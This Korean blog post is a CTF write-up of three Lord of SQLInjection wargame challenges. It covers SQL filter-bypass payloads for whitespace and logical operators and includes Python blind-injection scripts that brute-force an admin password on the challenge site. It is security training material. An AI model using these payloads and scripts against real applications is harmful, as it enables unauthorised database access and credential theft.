일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 |
- Whois #정보보안교육 #webhacking.kr
- AjouUniv #Whois #정보보안교육 #Pwnable
- 코딩도장
- N0NamedWargame #mandu-mandu #forensics #길에서주어온만두
- Memory Virtualization
- 아주대학교 #Whois #정보보안교육 #4주차
- AjouUniv #Whois #Reversing
- HackCTF
- N0Named
- 스케줄링
- Variable Partition
- Pwnable
- Whois #AjouUniv #정보보안교육 #Pwnable
- Allocation Starategy
- N0NamedWargame #mandu-mandu #forensics #left_side_B
- webhacking
- Whois #정보보안교육 #Ajou
- systemhacking
- python
- AjouUniv #SuniNatas #Web
- 사이버보안학과
- ftz
- hackerschool
- Dreamhack
- 아주대학교
- SuNiNaTaS #mandu-mandu #AjouUniv #forensics
- AjouUniv #Whois #정보보안교육
- 운영체제
- Whois #정보보안교육 #AjouUniv #Pwnable
- N0NamedWargame #AjouUniv #mandu-mandu #forensics
- Today
- Total
chipkkang9's story
[Lord of SQLInjection] wolfman, darkelf, orge 문제 write-up 본문
문제소개

문제풀이
첫 번째 문제는 wolfman이라는 문제이다.
핵심 코드가 되는 부분은 네 번째 줄이다.
if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");
다른 특이점이 보이지 않고 해당 코드만 이상한 것을 보니
공백(스페이스)만 우회해주면 풀리게 되는 문제인 것으로 생각된다.
공백 문자를 우회하기 위한 방법으로는 아래 방법들이 있다.
1. 개행문자(\n)
- URL Encoding : %0a
- ex) pw='%0aor%0aid="admin"
2. Tab (\t)
- URL Encoding : %09
- ex) pw='%09or%09id="admin"
3. 캐럿 이동 (\r)
- URL Encoding : %0d
- ex) pw='%0dor%0did="admin"
4. 주석(/**/)
- ex) pw='/**/or/**/id="admin"
5. 괄호 ()
- ex) pw='(or)(id="admin")
6. 더하기 (+)
- ex) pw='+or+id="admin"
7. %0b, %0c, %a0
- 1~6까지의 우회 기법이 먹히지 않을 시 사용
- %0b or %0c 위주로 사용하도록 하자
위 우회기법들 중 잘 골라서 사용해주면 된다.

쿼리문을 작성해주는 데, 맨 뒤에는 주석처리를 해주는 것을 잊지말자!
(나한테 하는 말이다.)
문제소개

문제풀이
두 번째 문제는 darkelf라는 문제이다.
이번에 핵심이 되는 코드는 다섯 번째 줄이다.
if(preg_match('or|and/i', $_GET[pw])) exit("HeHe");
이번 문제는 and와 or 문자열을 필터링하는 문제인 것 같다.
and와 or과 같은
논리 연산자와 비교 연산자를 우회하는 방법은 다음과 같다.
1. OR 연산자
- ||
- ex) pw=' || id="admin"
2. AND 연산자
- &&
- URL Encoding : %26%26
- ex) pw=' && id="admin"%23
3. 등호 (=)
1) Like 연산자
- ex) id like "admin"
- 정규 표현식을 이용하여 쿼리문을 조작할 수도 있다.
2) IN 연산자
- ex) id in ("admin")
3) instr(string str,stringsubstr)
- ex) instr(id, "admin")
4) 부등호 (<, >)
- ex) length(pw) > 7 and length(pw) < 9
역시 위 우회기법들을 잘 사용해주면 된다.

문제소개

문제풀이
마지막 문제는 orge 문제이다.
이번 문제는 저번 포스팅의 orc와 같은 Blind SQL Injection 문제이다.
Blind SQL Injection을 이용해서 pw를 알아내는 것이 핵심이다.
코드는 저번 포스팅과 같고 이전 문제인 darkelf의 연산자 우회 방법을 사용했다.
자세한 설명은 위에 적어놓았으니,소스코드만 첨부하도록 하겠다.
import requests
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookie = {'PHPSESSID': 'PHPSESSID를 넣어준다'}
response = requests.get(URL)
for i in range(100):
params = {'pw': '\'|| length(pw)=' + str(i)+'#'}
res = requests.get(URL, params=params, cookies=cookie)
if "Hello admin" in res.text :
print(i)
break
위 코드는 pw의 길이를 알아보는 코드이다.
import requests, string
URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
cookie = {'PHPSESSID': 'PHPSESSID를 넣어준다'}
response = requests.get(URL)
ALPHANUMERIC = string.digits + string.ascii_letters
flag = ''
for i in range(1, 9):
for ch in range(48, 122):
params = {'pw': '\' || substr(pw,'+str(i)+',1)=char('+str(ch)+')#'}
res = requests.get(URL, params=params, cookies=cookie)
if "Hello admin" in res.text :
flag += chr(ch)
break
print(flag)
위 코드는 pw의 값을 알아보는 코드이다.
위 두 코드들로 알아본 pw 값은
"7b751aec"이다.
해당 값을 쿼리문에 넣어주면 문제가 풀린다.

Reference
https://g-idler.tistory.com/61
[SQL Injection] 필터링 우회 방법 모음
1. 공백 문자 우회 1) Line Feed (\n) - 커서(캐럿)를 다음 줄(현재 위치에서 바로 아래줄)로 이동시키는 개행 문자 - URL Encoding: %0a - ex) no=1%0aor%0aid='admin' 2) Tab (\t) - 커서를 한 tab만큼 이동시키..
g-idler.tistory.com
'CTF > Web' 카테고리의 다른 글
[HackCTF] Hidden 문제 write-up (0) | 2022.02.09 |
---|---|
[HackCTF] / 문제 write-up (0) | 2022.02.09 |
[Lord of SQLInjection] orc 문제 Write-up (0) | 2022.01.20 |
[Suninatas] 1번 문제풀이 (0) | 2021.10.28 |
[Whois 정보보안교육] Webhacking.kr 21번 (write-up) (0) | 2021.09.20 |